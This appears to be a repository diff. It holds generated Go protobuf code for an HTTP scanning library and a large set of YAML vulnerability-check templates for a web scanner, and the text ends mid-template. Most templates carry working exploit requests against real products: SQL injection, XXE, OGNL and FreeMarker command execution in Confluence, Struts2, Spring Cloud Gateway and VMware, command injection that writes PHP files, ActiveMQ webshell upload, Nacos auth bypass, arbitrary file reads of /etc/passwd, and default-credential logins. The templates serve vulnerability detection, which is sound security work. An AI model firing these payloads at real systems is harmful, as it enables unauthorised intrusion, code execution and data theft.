IsDomainNameServer bool `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
}
func (x *Reverse) Reset() {
*x = Reverse{}
if protoimpl.UnsafeEnabled {
mi := &file_http_proto_msgTypes[3]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Reverse) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Reverse) ProtoMessage() {}
func (x *Reverse) ProtoReflect() protoreflect.Message {
mi := &file_http_proto_msgTypes[3]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Reverse.ProtoReflect.Descriptor instead.
func (*Reverse) Descriptor() ([]byte, []int) {
return file_http_proto_rawDescGZIP(), []int{3}
}
func (x *Reverse) GetUrl() string {
if x != nil {
return x.Url
}
return ""
}
func (x *Reverse) GetDomain() string {
if x != nil {
return x.Domain
}
return ""
}
func (x *Reverse) GetIp() string {
if x != nil {
return x.Ip
}
return ""
}
func (x *Reverse) GetIsDomainNameServer() bool {
if x != nil {
return x.IsDomainNameServer
}
return false
}
var File_http_proto protoreflect.FileDescriptor
var file_http_proto_rawDesc = []byte{
0x0a, 0x0a, 0x68, 0x74, 0x74, 0x70, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x03, 0x6c, 0x69,
0x62, 0x22, 0xa7, 0x01, 0x0a, 0x07, 0x55, 0x72, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a,
0x06, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x73,
0x63, 0x68, 0x65, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18,
0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x12, 0x0a,
0x04, 0x68, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x68, 0x6f, 0x73,
0x74, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52,
0x04, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x74, 0x68, 0x18, 0x05, 0x20,
0x01, 0x28, 0x09, 0x52, 0x04, 0x70, 0x61, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x71, 0x75, 0x65,
0x72, 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12,
0x1a, 0x0a, 0x08, 0x66, 0x72, 0x61, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28,
0x09, 0x52, 0x08, 0x66, 0x72, 0x61, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0xe9, 0x01, 0x0a, 0x07,
0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x03, 0x75, 0x72, 0x6c, 0x18, 0x01,
0x20, 0x01, 0x28, 0x0b, 0x32, 0x0c, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x55, 0x72, 0x6c, 0x54, 0x79,
0x70, 0x65, 0x52, 0x03, 0x75, 0x72, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x6d, 0x65, 0x74, 0x68, 0x6f,
0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x6d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x12,
0x33, 0x0a, 0x07, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b,
0x32, 0x19, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x48,
0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x68, 0x65, 0x61,
0x64, 0x65, 0x72, 0x73, 0x12, 0x21, 0x0a, 0x0c, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x5f,
0x74, 0x79, 0x70, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x63, 0x6f, 0x6e, 0x74,
0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x18,
0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x1a, 0x3a, 0x0a, 0x0c, 0x48,
0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b,
0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a,
0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61,
0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x87, 0x02, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70,
0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x03, 0x75, 0x72, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28,
0x0b, 0x32, 0x0c, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x55, 0x72, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x52,
0x03, 0x75, 0x72, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x02,
0x20, 0x01, 0x28, 0x05, 0x52, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x34, 0x0a, 0x07,
0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e,
0x6c, 0x69, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2e, 0x48, 0x65, 0x61,
0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x68, 0x65, 0x61, 0x64, 0x65,
0x72, 0x73, 0x12, 0x21, 0x0a, 0x0c, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x5f, 0x74, 0x79,
0x70, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e,
0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x18, 0x05, 0x20,
0x01, 0x28, 0x0c, 0x52, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x75, 0x72,
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x06, 0x20, 0x01, 0x28, 0x01, 0x52, 0x08, 0x64, 0x75, 0x72,
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x3a, 0x0a, 0x0c, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73,
0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01,
0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65,
0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38,
0x01, 0x22, 0x76, 0x0a, 0x07, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03,
0x75, 0x72, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x75, 0x72, 0x6c, 0x12, 0x16,
0x0a, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06,
0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x70, 0x18, 0x03, 0x20, 0x01,
0x28, 0x09, 0x52, 0x02, 0x69, 0x70, 0x12, 0x31, 0x0a, 0x15, 0x69, 0x73, 0x5f, 0x64, 0x6f, 0x6d,
0x61, 0x69, 0x6e, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x5f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18,
0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x69, 0x73, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4e,
0x61, 0x6d, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x42, 0x08, 0x5a, 0x06, 0x2e, 0x2f, 0x3b,
0x6c, 0x69, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var (
file_http_proto_rawDescOnce sync.Once
file_http_proto_rawDescData = file_http_proto_rawDesc
)
func file_http_proto_rawDescGZIP() []byte {
file_http_proto_rawDescOnce.Do(func() {
file_http_proto_rawDescData = protoimpl.X.CompressGZIP(file_http_proto_rawDescData)
})
return file_http_proto_rawDescData
}
var file_http_proto_msgTypes = make([]protoimpl.MessageInfo, 6)
var file_http_proto_goTypes = []interface{}{
(*UrlType)(nil), // 0: lib.UrlType
(*Request)(nil), // 1: lib.Request
(*Response)(nil), // 2: lib.Response
(*Reverse)(nil), // 3: lib.Reverse
nil, // 4: lib.Request.HeadersEntry
nil, // 5: lib.Response.HeadersEntry
}
var file_http_proto_depIdxs = []int32{
0, // 0: lib.Request.url:type_name -> lib.UrlType
4, // 1: lib.Request.headers:type_name -> lib.Request.HeadersEntry
0, // 2: lib.Response.url:type_name -> lib.UrlType
5, // 3: lib.Response.headers:type_name -> lib.Response.HeadersEntry
4, // [4:4] is the sub-list for method output_type
4, // [4:4] is the sub-list for method input_type
4, // [4:4] is the sub-list for extension type_name
4, // [4:4] is the sub-list for extension extendee
0, // [0:4] is the sub-list for field type_name
}
func init() { file_http_proto_init() }
func file_http_proto_init() {
if File_http_proto != nil {
return
}
if !protoimpl.UnsafeEnabled {
file_http_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*UrlType); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_http_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Request); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_http_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Response); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_http_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Reverse); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
}
type x struct{}
out := protoimpl.TypeBuilder{
File: protoimpl.DescBuilder{
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
RawDescriptor: file_http_proto_rawDesc,
NumEnums: 0,
NumMessages: 6,
NumExtensions: 0,
NumServices: 0,
},
GoTypes: file_http_proto_goTypes,
DependencyIndexes: file_http_proto_depIdxs,
MessageInfos: file_http_proto_msgTypes,
}.Build()
File_http_proto = out.File
file_http_proto_rawDesc = nil
file_http_proto_goTypes = nil
file_http_proto_depIdxs = nil
}

View File

@ -1,38 +0,0 @@
syntax = "proto3";
package lib;
option go_package = "./;lib";
message UrlType {
string scheme = 1;
string domain = 2;
string host = 3;
string port = 4;
string path = 5;
string query = 6;
string fragment = 7;
}
message Request {
UrlType url = 1;
string method = 2;
map<string, string> headers = 3;
string content_type = 4;
bytes body = 5;
}
message Response {
UrlType url = 1;
int32 status = 2 ;
map<string, string> headers = 3;
string content_type = 4;
bytes body = 5;
double duration = 6;
}
message Reverse {
string url = 1;
string domain = 2;
string ip = 3;
bool is_domain_name_server = 4;
}

View File

@ -1,16 +0,0 @@
name: poc-yaml-74cms-sqli-1
set:
rand: randomInt(200000000, 210000000)
rules:
- method: POST
path: /plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709\xc3\x97tamp=&nonce=
headers:
Content-Type: 'text/xml'
body: <?xml version="1.0" encoding="utf-8"?><!DOCTYPE copyright [<!ENTITY test SYSTEM "file:///">]><xml><ToUserName>&test;</ToUserName><FromUserName>1111</FromUserName><MsgType>123</MsgType><FuncFlag>3</FuncFlag><Content>1%' union select md5({{rand}})#</Content></xml>
follow_redirects: false
expression: |
response.body.bcontains(bytes(md5(string(rand))))
detail:
author: betta(https://github.com/betta-cyber)
links:
- https://www.uedbox.com/post/29340

View File

@ -1,12 +0,0 @@
name: poc-yaml-74cms-sqli-2
set:
rand: randomInt(200000000, 210000000)
rules:
- method: GET
path: /plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{rand}}),5,6,7,8,9%23
expression: |
response.body.bcontains(bytes(md5(string(rand))))
detail:
author: rexus
links:
- https://www.uedbox.com/post/30019/

View File

@ -1,10 +0,0 @@
name: poc-yaml-74cms-sqli
rules:
- method: GET
path: /index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa") and extractvalue(1,concat(0x7e,md5(99999999))) -- a
expression: |
response.body.bcontains(b"ef775988943825d2871e1cfa75473ec")
detail:
author: jinqi
links:
- https://www.t00ls.net/articles-54436.html

View File

@ -1,11 +0,0 @@
name: poc-yaml-CVE-2017-7504-Jboss-serialization-RCE
rules:
- method: GET
path: /jbossmq-httpil/HTTPServerILServlet
expression: |
response.status == 200 && response.body.bcontains(b'This is the JBossMQ HTTP-IL')
detail:
author: mamba
description: "CVE-2017-7504-Jboss-serialization-RCE by chaosec公众号"
links:
- https://github.com/chaosec2021

View File

@ -1,44 +0,0 @@
name: Spring-Cloud-CVE-2022-22947
set:
router: randomLowercase(8)
rand1: randomInt(800000000, 1000000000)
rand2: randomInt(800000000, 1000000000)
rules:
- method: POST
path: /actuator/gateway/routes/{{router}}
headers:
Content-Type: application/json
body: |
{
"id": "{{router}}",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"expr\",\"{{rand1}}\",\"+\",\"{{rand2}}\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
expression: response.status == 201
- method: POST
path: /actuator/gateway/refresh
headers:
Content-Type: application/json
expression: response.status == 200
- method: GET
path: /actuator/gateway/routes/{{router}}
headers:
Content-Type: application/json
expression: response.status == 200 && response.body.bcontains(bytes(string(rand1 + rand2)))
- method: DELETE
path: /actuator/gateway/routes/{{router}}
expression: response.status == 200
- method: POST
path: /actuator/gateway/refresh
headers:
Content-Type: application/json
expression: response.status == 200
detail:
author: jweny
description: Spring Cloud Gateway Code Injection
links:
- https://mp.weixin.qq.com/s/qIAcycsO_L9JKisG5Bgg_w

View File

@ -1,11 +0,0 @@
name: poc-yaml-CVE-2022-22954-VMware-RCE
rules:
- method: GET
path: /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b"freemarker%2etemplate%2eutility%2eExecute"%3fnew%28%29%28"id"%29%7d
expression: |
response.status == 400 && "device id:".bmatches(response.body)
detail:
author: mamba
description: "CVE-2022-22954-VMware-RCE by chaosec公众号"
links:
- https://github.com/chaosec2021

View File

@ -1,16 +0,0 @@
name: Confluence-CVE-2022-26134
rules:
- method: GET
path: /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
expression: response.status == 302 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.raw_header)
detail:
author: zan8in
description: |
Atlassian Confluence OGNL注入漏洞
Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新通告了一个严重且已在野利用的代码执行漏洞攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。
app="ATLASSIAN-Confluence"
links:
- https://nvd.nist.gov/vuln/detail/CVE-2022-26134
- http://wiki.peiqi.tech/wiki/webapp/AtlassianConfluence/Atlassian%20Confluence%20OGNL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2022-26134.html
- https://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247488978&idx=1&sn=c0a5369f2b374dcef0bbf61b9239b1dd

View File

@ -1,12 +0,0 @@
name: Hotel-Internet-Manage-RCE
rules:
- method: GET
path: "/manager/radius/server_ping.php?ip=127.0.0.1|cat /etc/passwd >../../Test.txt&id=1"
expression: |
response.status == 200 && response.body.bcontains(b"parent.doTestResult")
detail:
author: test
Affected Version: "Hotel Internet Billing & Operation Support System"
links:
- http://118.190.97.19:88/qingy/Web%E5%AE%89%E5%85%A8

View File

@ -1,31 +0,0 @@
name: poc-yaml-struts2-062-cve-2021-31805-rce
rules:
- method: POST
path: /
headers:
Content-Type: 'multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF'
Cache-Control: 'max-age=0'
Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
body: "\
------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\n\
Content-Disposition: form-data; name=\"id\"\r\n\r\n\
%{\r\n\
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n\
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n\
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n\
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))\r\n
}\r\n\
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
"
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: Jaky
links:
- https://mp.weixin.qq.com/s/taEEl6UQ2yi4cqzs2UBfCg

View File

@ -1,11 +0,0 @@
name: poc-yaml-active-directory-certsrv-detect
rules:
- method: GET
path: /certsrv/certrqad.asp
follow_redirects: false
expression: |
response.status == 401 && "Server" in response.headers && response.headers["Server"].contains("Microsoft-IIS") && response.body.bcontains(bytes("401 - ")) && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("Negotiate") && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("NTLM")
detail:
author: AgeloVito
links:
- https://www.cnblogs.com/EasonJim/p/6859345.html

View File

@ -1,34 +0,0 @@
name: poc-yaml-activemq-cve-2016-3088
set:
filename: randomLowercase(6)
fileContent: randomLowercase(6)
rules:
- method: PUT
path: /fileserver/{{filename}}.txt
body: |
{{fileContent}}
expression: |
response.status == 204
- method: GET
path: /admin/test/index.jsp
search: |
activemq.home=(?P<home>.*?),
follow_redirects: false
expression: |
response.status == 200
- method: MOVE
path: /fileserver/{{filename}}.txt
headers:
Destination: "file://{{home}}/webapps/api/{{filename}}.jsp"
follow_redirects: false
expression: |
response.status == 204
- method: GET
path: /api/{{filename}}.jsp
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(fileContent))
detail:
author: j4ckzh0u(https://github.com/j4ckzh0u)
links:
- https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088

View File

@ -1,16 +0,0 @@
name: poc-yaml-activemq-default-password
rules:
- method: GET
path: /admin/
expression: |
response.status == 401 && response.body.bcontains(b"Unauthorized")
- method: GET
path: /admin/
headers:
Authorization: Basic YWRtaW46YWRtaW4=
expression: |
response.status == 200 && response.body.bcontains(b"Welcome to the Apache ActiveMQ Console of") && response.body.bcontains(b"<h2>Broker</h2>")
detail:
author: pa55w0rd(www.pa55w0rd.online/)
links:
- https://blog.csdn.net/ge00111/article/details/72765210

View File

@ -1,10 +0,0 @@
name: poc-yaml-airflow-unauth
rules:
- method: GET
path: /admin/
expression: |
response.status == 200 && response.body.bcontains(b"<title>Airflow - DAGs</title>") && response.body.bcontains(b"<h2>DAGs</h2>")
detail:
author: pa55w0rd(www.pa55w0rd.online/)
links:
- http://airflow.apache.org/

View File

@ -1,19 +0,0 @@
name: poc-yaml-alibaba-canal-default-password
rules:
- method: POST
path: /api/v1/user/login
expression: |
response.status == 200 && response.body.bcontains(b"com.alibaba.otter.canal.admin.controller.UserController.login")
- method: POST
path: /api/v1/user/login
headers:
Content-Type: application/json
body: >-
{"username":"admin","password":"123456"}
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"{\"code\":20000,") && response.body.bcontains(b"\"data\":{\"token\"")
detail:
author: jweny(https://github.com/jweny)
links:
- https://www.cnblogs.com/xiexiandong/p/12888582.html

View File

@ -1,12 +0,0 @@
name: poc-yaml-alibaba-canal-info-leak
rules:
- method: GET
path: /api/v1/canal/config/1/1
follow_redirects: false
expression: |
response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(b"ncanal.aliyun.accessKey") && response.body.bcontains(b"ncanal.aliyun.secretKey")
detail:
author: Aquilao(https://github.com/Aquilao)
info: alibaba Canal info leak
links:
- https://my.oschina.net/u/4581879/blog/4753320

View File

@ -1,27 +0,0 @@
name: poc-yaml-alibaba-nacos-v1-auth-bypass
set:
r1: randomLowercase(16)
r2: randomLowercase(16)
rules:
- method: POST
path: "/nacos/v1/auth/users?username={{r1}}&password={{r2}}"
headers:
User-Agent: Nacos-Server
expression: |
response.status == 200 && response.body.bcontains(bytes("create user ok!"))
- method: GET
path: "/nacos/v1/auth/users?pageNo=1&pageSize=999"
headers:
User-Agent: Nacos-Server
expression: |
response.status == 200 && response.body.bcontains(bytes(r1))
- method: DELETE
path: "/nacos/v1/auth/users?username={{r1}}"
headers:
User-Agent: Nacos-Server
expression: |
response.status == 200 && response.body.bcontains(bytes("delete user ok!"))
detail:
author: kmahyyg(https://github.com/kmahyyg)
links:
- https://github.com/alibaba/nacos/issues/4593

View File

@ -1,13 +0,0 @@
name: poc-yaml-alibaba-nacos
rules:
- method: GET
path: /nacos/
follow_redirects: true
expression: |
response.body.bcontains(bytes("<title>Nacos</title>"))
detail:
author: AgeloVito
info: alibaba-nacos
login: nacos/nacos
links:
- https://blog.csdn.net/caiqiiqi/article/details/112005424

View File

@ -1,18 +0,0 @@
name: poc-yaml-amtt-hiboss-server-ping-rce
set:
r2: randomLowercase(10)
rules:
- method: GET
path: /manager/radius/server_ping.php?ip=127.0.0.1|echo%20"<?php%20echo%20md5({{r2}});unlink(__FILE__);?>">../../{{r2}}.php&id=1
expression: |
response.status == 200 && response.body.bcontains(b"parent.doTestResult")
- method: GET
path: /{{r2}}.php
expression: |
response.status == 200 && response.body.bcontains(bytes(md5(r2)))
detail:
author: YekkoY
description: "安美数字-酒店宽带运营系统-远程命令执行漏洞"
links:
- http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97%20%E9%85%92%E5%BA%97%E5%AE%BD%E5%B8%A6%E8%BF%90%E8%90%A5%E7%B3%BB%E7%BB%9F%20server_ping.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html

View File

@ -1,11 +0,0 @@
name: poc-yaml-apache-ambari-default-password
rules:
- method: GET
path: /api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name
headers:
Authorization: Basic YWRtaW46YWRtaW4=
expression: response.status == 200 && response.body.bcontains(b"PrivilegeInfo") && response.body.bcontains(b"AMBARI.ADMINISTRATOR")
detail:
author: wulalalaaa(https://github.com/wulalalaaa)
links:
- https://cwiki.apache.org/confluence/display/AMBARI/Quick+Start+Guide

View File

@ -1,25 +0,0 @@
name: poc-yaml-apache-axis-webservice-detect
sets:
path:
- services
- servlet/AxisaxiServlet
- servlet/AxisServlet
- services/listServices
- services/FreeMarkerService
- services/AdminService
- axis/services
- axis2/services
- axis/servlet/AxisServlet
- axis2/servlet/AxisServlet
- axis2/services/listServices
- axis/services/FreeMarkerService
- axis/services/AdminService
rules:
- method: GET
path: /{{path}}
expression: |
response.body.bcontains(b"Services") && response.body.bcontains(b'?wsdl"><i>')
detail:
author: AgeloVito
links:
- https://paper.seebug.org/1489

View File

@ -1,24 +0,0 @@
name: poc-yaml-apache-druid-cve-2021-36749
manual: true
transport: http
groups:
druid1:
- method: POST
path: /druid/indexer/v1/sampler?for=connect
headers:
Content-Type: application/json;charset=utf-8
body: |
{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///etc/passwd"]}}},"samplerConfig":{"numRows":500}}
expression: response.status == 200 && response.content_type.contains("json") && "root:[x*]:0:0:".bmatches(response.body)
druid2:
- method: POST
path: /druid/indexer/v1/sampler?for=connect
headers:
Content-Type: application/json;charset=utf-8
body: |
{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///c://windows/win.ini"]}}},"samplerConfig":{"numRows":500}}
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"for 16-bit app support")
detail:
author: iak3ec(https://github.com/nu0l)
links:
- https://mp.weixin.qq.com/s/Fl2hSO-y60VsTi5YJFyl0w

View File

@ -1,36 +0,0 @@
name: poc-yaml-apache-flink-upload-rce
set:
r1: randomLowercase(8)
r2: randomLowercase(4)
rules:
- method: GET
path: /jars
follow_redirects: true
expression: >
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"address") && response.body.bcontains(b"files")
- method: POST
path: /jars/upload
headers:
Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3
body: |-
--8ce4b16b22b58894aa86c421e8759df3
Content-Disposition: form-data; name="jarfile";filename="{{r2}}.jar"
Content-Type:application/octet-stream
{{r1}}
--8ce4b16b22b58894aa86c421e8759df3--
follow_redirects: true
expression: >
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
search: >-
(?P<filen>([a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_[a-z]{4}.jar))
- method: DELETE
path: '/jars/{{filen}}'
follow_redirects: true
expression: |
response.status == 200
detail:
author: timwhite
links:
- https://github.com/LandGrey/flink-unauth-rce

View File

@ -1,12 +0,0 @@
name: poc-yaml-apache-httpd-cve-2021-40438-ssrf
manual: true
transport: http
rules:
- method: GET
